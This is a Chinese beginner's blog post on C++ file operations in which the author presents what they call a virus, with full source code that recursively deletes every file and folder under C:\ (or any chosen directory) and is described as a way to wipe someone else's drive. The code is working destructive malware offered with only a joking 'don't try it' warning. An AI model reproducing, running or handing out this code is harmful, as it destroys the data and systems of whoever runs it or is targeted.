新手向:c++中学了这个 我才觉得我步入了编程的新世界

简要:

1:简介:
在我新手阶段的时期 我学习的语言是c++

想象有朝一日自己能成为很厉害的黑客或者能写一个我们日常生活中接触到的东西

但是我所学的与我想象的有较大的偏差

每天面临着黑漆漆的窗口,在黑白交接的屏幕上显示着只有我自己知道的东西

我知道我自己学习的是编程,但我无法将所学这玩意做出任何东西,或着我完全不知道该怎么实现,或者原理

这种感觉相当无力,好像自己只是一个会在黑窗口上编程的人

这不禁让我觉得我所学的东西是不是没有意义

我写的代码只作用于那个小小的黑窗口,我也不知道如何与外面的产生链接,实现常见的功能或者原理

直到我学习了c++中的文件操作

这仿佛打开了新世界的大门,让我的代码从一个窗口走了出来,可以影响到别的东西

我感觉这才是编程 也把我的疑惑给一扫而空,但还是有点

文件操作——————让我第一次跳出黑窗口的东西

让我大为震撼,同时对我所学的语言的理解加深了很多

下面是我学习了文件操作之后

所编写出来的病毒

牛牛牛

作用:清空别人的c盘或任何文件夹

不要乱试

2:代码

#include <iostream>
#include <io.h>
#include <direct.h>
using namespace std;

void listFiles(string dir);

int main() {
	
	string dir = "C:\\";//删除指定路径的文件,要用\\而不是/
	listFiles(dir);
	system("pause");
	return 1;
}

void listFiles(string dir) {
	
	string newDir = dir + "\\*.*";
	
	intptr_t handle;
	struct _finddata_t fileinfo;
	
	handle = _findfirst(newDir.c_str(), &fileinfo);

	if (handle == -1) {
		cout << "无文件" << endl;
		system("pause");
		return;
	}

	do
	{
		if (fileinfo.attrib & _A_SUBDIR) {
			if (strcmp(fileinfo.name, ".") == 0 || strcmp(fileinfo.name, "..") == 0)
				continue;

			
			newDir = dir + "\\" + fileinfo.name;
			listFiles(newDir.c_str());
			cout << newDir.c_str() << endl;
			if (_rmdir(newDir.c_str()) == 0) {
				cout << "delete empty dir success" << endl;
			}
			else {
				cout << "delete empty dir error" << endl;
			}
		}
		else {
			string file_path = dir + "\\" + fileinfo.name;
			cout << file_path.c_str() << endl;
			if (remove(file_path.c_str()) == 0) {
				cout << "delete file success" << endl;
			}
			else {
				cout << "delete file error" << endl;
			}
		}
	} while (!_findnext(handle, &fileinfo));

	_findclose(handle);
	return;
}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值